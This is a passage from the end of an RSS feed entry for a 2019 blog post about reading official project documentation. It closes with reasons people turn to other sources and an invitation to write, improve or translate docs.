See the online docs in &lt;a class="reference external" href="https://docs.python.org/"&gt;https://docs.python.org/&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="conclusions"&gt;
&lt;h2&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;If you ever find yourself reading the usage instructions for a tool or method/function from another site having the official docs at hand,
probably is because:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;&lt;p&gt;The project doesn't have docs (not so common) -- Help to written if it's the case!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The project doesn't have good documentation (a little more common) -- Help to improve it if it's the case!&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The documentation isn't written in the language you know (very common) -- Help to translate it if it's the case!&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</description><category>documentation</category><guid>https://stsewd.dev/posts/read-the-docs/</guid><pubDate>Sat, 06 Jul 2019 05:00:00 GMT</pubDate></item></channel></rss>